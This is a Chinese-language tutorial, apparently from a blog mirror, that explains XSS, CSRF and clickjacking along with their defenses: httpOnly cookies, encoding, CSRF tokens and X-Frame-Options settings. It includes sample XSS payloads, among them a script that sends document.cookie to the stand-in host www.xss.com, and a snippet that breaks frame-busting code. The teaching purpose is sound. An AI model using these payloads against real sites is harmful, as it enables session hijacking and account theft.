赞
踩
xss: 跨站脚本攻击(Cross Site Scripting)是最常见和基本的攻击 WEB 网站方法,攻击者通过注入非法的 html 标签或者 javascript 代码,从而当用户浏览该网页时,控制用户浏览器。
xss 主要分为三类:
跨站脚本攻击可能造成以下影响:
在项目开发中,评论是个常见的功能,如果直接把评论的内容保存到数据库,那么显示的时候就可能被攻击。
<font size="100" color="red">试试水</font>
<script>
while (true) {
alert('Hello')
}
</script>
这时,网站就挂了。
<script>
alert(document.cookie)
</script>
Cookie 发送给攻击者的站点:
var img = document.createElement('img')
img.src='http://www.xss.com?cookie=' + document.cookie
img.style.display='none'
document.getElementsByTagName('body')[0].appendChild(img)
当前用户的登录凭证存储于服务器的 session 中,而在浏览器中是以 cookie 的形式存储的。如果攻击者能获取到用户登录凭证的 Cookie,甚至可以绕开登录流程,直接设置这个 Cookie 值,来访问用户的账号。
按理说,只要有输入数据的地方,就可能存在 XSS 危险。
// koa
ctx.cookies.set(name, value, {
httpOnly: true // 默认为 true
})
<script>window.location.href=”http://www.baidu.com”;</script>
最终保存结果为 <script>window.location.href="http://www.baidu.com"</script>, 在展现时,浏览器会对这些字符转换成文本内容,而不是一段可以执行的代码。
3、JavaScriptEncode
对下列字符加上反斜杠
csrf:跨站点请求伪造(Cross-Site Request Forgeries),也被称为 one-click attack 或者 session riding。冒充用户发起请求(在用户不知情的情况下), 完成一些违背用户意愿的事情(如修改用户信息,删初评论等)。
可能会造成以下影响:
一张图了解原理:
简而言之:网站过分相信用户。
与 xss 区别:
案例
比如某网站的转账操作
受害者张三给李四转账100,
通过对银行的网站发起请求 http://bank.example/transfer?accout=张三&a… ,
通常情况下,该请求发出后,服务器端会检查 session 是否合法,并且张三已经登录成功,黑客王五可以自己给银行发送一个请求 http://bank.example/transfer?accout=张三&a… ,但是这个请求来自王五,而不是张三,他并不能通过安全认证。他需要张三的 session 。
王五自己做了一个网站,放入如下代码 http://bank.example/transfer?accout=张三&a… ,
用各种方式诱使张三点击自己的网站。
张三登录了银行的网站没有退出,访问了黑客王五的网站,上述的 url 就会向银行发起请求。
如果session没有过期,这时悲剧就发生了,张三的账户里少了1000。
验证码;强制用户必须与应用进行交互,才能完成最终请求。此种方式能很好的遏制 csrf,但是用户体验比较差。
尽量使用 post ,限制 get 使用;上一个例子可见,get 太容易被拿来做 csrf 攻击,但是 post 也并不是万无一失,攻击者只需要构造一个form就可以。
Referer check;请求来源限制,此种方法成本最低,但是并不能保证 100% 有效,因为服务器并不是什么时候都能取到 Referer,而且低版本的浏览器存在伪造 Referer 的风险。
token;token 验证的 CSRF 防御机制是公认最合适的方案。
整体思如下:
第一步:后端随机产生一个 token,把这个token 保存到 session 状态中;同时后端把这个token 交给前端页面;
第二步:前端页面提交请求时,把 token 加入到请求数据或者头信息中,一起传给后端;
后端验证前端传来的 token 与 session 是否一致,一致则合法,否则是非法请求。若网站同时存在 XSS 漏洞的时候,这个方法也是空谈。
Clickjacking: 点击劫持,是指利用透明的按钮或连接做成陷阱,覆盖在 Web 页面之上。然后诱使用户在不知情的情况下,点击那个连接访问内容的一种攻击手段。这种行为又称为界面伪装(UI Redressing) 。
大概有两种方式:
案例
一张图了解
一般步骤:
防御:
有三个值:
1、DENY:表示页面不允许在 frame 中展示,即便是在相同域名的页面中嵌套也不允许。
2、SAMEORIGIN:表示该页面可以在相同域名页面的 frame 中展示。
3、ALLOW-FROM url:表示该页面可以在指定来源的 frame 中展示。
配置 X-FRAME-OPTIONS:
1、Apache
把下面这行添加到 ‘site’ 的配置中:
Header always append X-Frame-Options SAMEORIGIN
2、nginx
把下面这行添加到 ‘http’, ‘server’ 或者 ‘location’,配置中
add_header X-Frame-Options SAMEORIGIN;
3、IIS
添加下面配置到 Web.config 文件中
<system.webServer>
...
<httpProtocol>
<customHeaders>
<add name="X-Frame-Options" value="SAMEORIGIN" />
</customHeaders>
</httpProtocol>
...
</system.webServer>
function locationTop(){
if (top.location != self.location) {
top.location = self.location; return false;
}
return true;
}
locationTop();
// 破解:
// 顶层窗口中放入代码
var location = document.location;
//或者
var location = "";
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。